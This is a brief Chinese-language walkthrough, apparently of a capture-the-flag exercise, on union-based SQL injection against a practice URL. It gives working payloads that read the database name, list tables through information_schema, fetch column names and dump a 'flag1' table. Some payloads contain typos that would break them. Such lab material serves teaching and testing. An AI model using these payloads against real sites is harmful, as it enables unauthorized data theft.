sql注入联合查询

简单联合注入例题及过程

1需要获取字段总数

2获取数据库

3获取数据库里面的表

4然后获取数据库里面表的字段

例题地址 http://123.206.87.240:9001/sql/

先判断有几列

由此可知有二列

获取数据库

1" union select 1,database() #

获取表名

1" union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

补充：

获取列名

输入

1" union select concat(column_name),2 from information schema. columns where table_ name = "flag1"#

得到了列名: flagl

爆内容

1" union select flag1,2 from flag1#